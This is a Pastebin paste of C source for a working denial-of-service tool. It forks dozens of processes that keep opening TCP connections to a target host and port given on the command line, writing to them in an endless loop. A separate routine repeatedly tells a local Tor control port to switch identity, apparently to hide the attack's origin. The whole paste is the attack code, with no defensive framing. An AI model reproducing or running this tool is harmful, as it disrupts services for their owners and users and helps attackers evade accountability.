Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.50 KB | None | 0 0
  1. /* This is just a test */
  2. /* nope */
  3. /* nope */
  4. /* nope */
  5. /* nope. */
  6. /* nope */
  7. /* nope */
  8. /* nope */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <stdint.h>
  13. #include <unistd.h>
  14. #include <netdb.h>
  15. #include <signal.h>
  16. #include <sys/socket.h>
  17. #include <sys/types.h>
  18. #include <netinet/in.h>
  19. #include <arpa/inet.h>
  20.  
  21. int make_socket(char *host, char *port)
  22. {
  23. struct addrinfo hints, *servinfo, *p;
  24. int sock, r;
  25. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  26. memset(&hints, 0, sizeof(hints));
  27. hints.ai_family = AF_UNSPEC;
  28. hints.ai_socktype = SOCK_STREAM;
  29.  
  30. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0)
  31. {
  32. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  33. exit(0);
  34. }
  35.  
  36. for(p = servinfo; p != NULL; p = p->ai_next)
  37. {
  38. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
  39. {
  40. continue;
  41. }
  42.  
  43. if(connect(sock, p->ai_addr, p->ai_addrlen) == -1)
  44. {
  45. close(sock);
  46. continue;
  47. }
  48. break;
  49. }
  50.  
  51. if(p == NULL)
  52. {
  53. if(servinfo)
  54. freeaddrinfo(servinfo);
  55.  
  56. fprintf(stderr, "No connection could be made\n");
  57. exit(0);
  58. }
  59.  
  60. if(servinfo)
  61. freeaddrinfo(servinfo);
  62.  
  63. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  64. return sock;
  65. }
  66.  
  67. void broke(int s) {
  68. // do nothing
  69. }
  70.  
  71. #define CONNECTIONS 8
  72. #define THREADS 48
  73.  
  74. void attack(char *host, char *port, int id)
  75. {
  76. int sockets[CONNECTIONS];
  77. int x, g=1, r;
  78.  
  79. for(x=0; x!= CONNECTIONS; x++)
  80. sockets[x]=0;
  81.  
  82. signal(SIGPIPE, &broke);
  83.  
  84. while(1)
  85. {
  86. for(x = 0; x != CONNECTIONS; x++)
  87. {
  88. if(sockets[x] == 0)
  89. sockets[x] = make_socket(host, port);
  90.  
  91. r = write(sockets[x], "\0", 1);
  92.  
  93. if(r == -1)
  94. {
  95. close(sockets[x]);
  96. sockets[x] = make_socket(host, port);
  97. }
  98. else
  99. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  100. fprintf(stderr, "[%i: Voly Sent]\n", id);
  101. }
  102.  
  103. fprintf(stderr, "[%i: Voly Sent]\n", id);
  104. usleep(300000);
  105. }
  106. }
  107.  
  108. void cycle_identity()
  109. {
  110. int r;
  111. int socket = make_socket("localhost", "9051");
  112. write(socket, "AUTHENTICATE \"\"\n", 16);
  113.  
  114. while(1)
  115. {
  116. r=write(socket, "signal NEWNYM\n\x00", 16);
  117. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  118. usleep(300000);
  119. }
  120. }
  121.  
  122. int main(int argc, char **argv)
  123. {
  124. int x;
  125. if(argc !=3)
  126. cycle_identity();
  127.  
  128. for(x=0; x != THREADS; x++)
  129. {
  130. if(fork())
  131. attack(argv[1], argv[2], x);
  132.  
  133. usleep(200000);
  134. }
  135.  
  136. getc(stdin);
  137. return 0;
  138. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement